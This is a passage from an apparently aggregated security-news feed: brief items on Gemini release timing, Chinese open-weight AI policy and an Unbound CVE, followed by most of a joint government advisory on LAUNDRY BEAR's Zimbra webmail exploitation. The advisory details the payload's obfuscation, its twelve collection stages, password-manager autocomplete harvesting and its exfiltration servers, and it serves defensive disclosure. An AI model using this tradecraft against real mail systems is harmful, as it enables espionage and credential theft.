<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200818/google-ceo-distracts-from-gemini-3-5-pro-delay-with-talk-of-gemini-4-and-monthly-releases.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Startup Founders Urge Trump Not to Shut Off Chinese Open Weight AI]]></title>
<description><![CDATA[Nearly 200 Silicon Valley companies, including Proton and Y Combinator, are urging the Trump administration not to block U.S. access to Chinese open-weight AI models or risk crippling the next generation of U.S. startups. Politico reports: On Wednesday, the newly-formed Little Tech Association se...]]></description>
<link>https://tsecurity.de/de/3689670/it-security-nachrichten/startup-founders-urge-trump-not-to-shut-off-chinese-open-weight-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689670/it-security-nachrichten/startup-founders-urge-trump-not-to-shut-off-chinese-open-weight-ai/</guid>
<pubDate>Thu, 23 Jul 2026 18:18:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nearly 200 Silicon Valley companies, including Proton and Y Combinator, are urging the Trump administration not to block U.S. access to Chinese open-weight AI models or risk crippling the next generation of U.S. startups. Politico reports: On Wednesday, the newly-formed Little Tech Association sent letters to President Donald Trump, Commerce Secretary Howard Lutnick and others in the administration with its appeal, marking the first coordinated effort by Silicon Valley's wider influential startup community to weigh in on one of the Trump administration's most closely watched AI debates. At issue: whether Washington should restrict access to increasingly powerful open-weight -- meaning, AI models whose weights are publicly available -- AI models released by Chinese companies such as Moonshot AI and Alibaba.
 
"American leadership requires two things: world-leading American open-weight models and continued access for U.S. builders to open models already available worldwide," the startup founders wrote in the letter (PDF) obtained by POLITICO, also sent to Office of Science and Technology Policy Director Michael Kratsios. Instead of broad prohibitions, they argue the government should adopt targeted safeguards.
 
And they warn that banning Americans from downloading Chinese open-weight models wouldn't stop their proliferation -- but would weaken U.S. startups. "There'll be hundreds of companies that instantly die," said Suhail Doshi, founder of AI infrastructure startup Particle and a member of the association, which POLITICO first wrote about exclusively, in an interview. "It's great for Anthropic. We're all going to have to spend money on Anthropic." Last week, the Beijing-based AI company "Moonshot" released a massive new model that reset the AI race overnight, immediately vaulting into the top tier of global AI, beating Anthropic's Fable 5 and OpenAI's GPT-5.6 Sol in front-end coding tests. 
China's Xi Jinping also used his first appearance at China's World AI Conference to promote a vision of low-cost, broadly accessible AI and call for international cooperation rather than technological rivalry.<p></p><div class="share_submission">
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</div><p><a href="https://slashdot.org/story/26/07/23/0623233/startup-founders-urge-trump-not-to-shut-off-chinese-open-weight-ai?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[CVE-2026-44621 | NLnet Labs Unbound up to 1.25.1 Function Call Allow List libworker_alloc_cleanup unwanted-reply-threshold input validation (WID-SEC-2026-2492)]]></title>
<description><![CDATA[A vulnerability identified as problematic has been detected in NLnet Labs Unbound up to 1.25.1. Impacted is the function libworker_alloc_cleanup of the component Function Call Allow List. This manipulation of the argument unwanted-reply-threshold causes improper input validation.

This vulnerabil...]]></description>
<link>https://tsecurity.de/de/3689612/sicherheitsluecken/cve-2026-44621-nlnet-labs-unbound-up-to-1251-function-call-allow-list-libworkeralloccleanup-unwanted-reply-threshold-input-validation-wid-sec-2026-2492/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689612/sicherheitsluecken/cve-2026-44621-nlnet-labs-unbound-up-to-1251-function-call-allow-list-libworkeralloccleanup-unwanted-reply-threshold-input-validation-wid-sec-2026-2492/</guid>
<pubDate>Thu, 23 Jul 2026 18:01:35 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">problematic</a> has been detected in <a href="https://vuldb.com/product/nlnet_labs:unbound">NLnet Labs Unbound up to 1.25.1</a>. Impacted is the function <code>libworker_alloc_cleanup</code> of the component <em>Function Call Allow List</em>. This manipulation of the argument <em>unwanted-reply-threshold</em> causes improper input validation.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-44621">CVE-2026-44621</a>. The attack can be initiated remotely. There is not any exploit available.

You should upgrade the affected component.]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



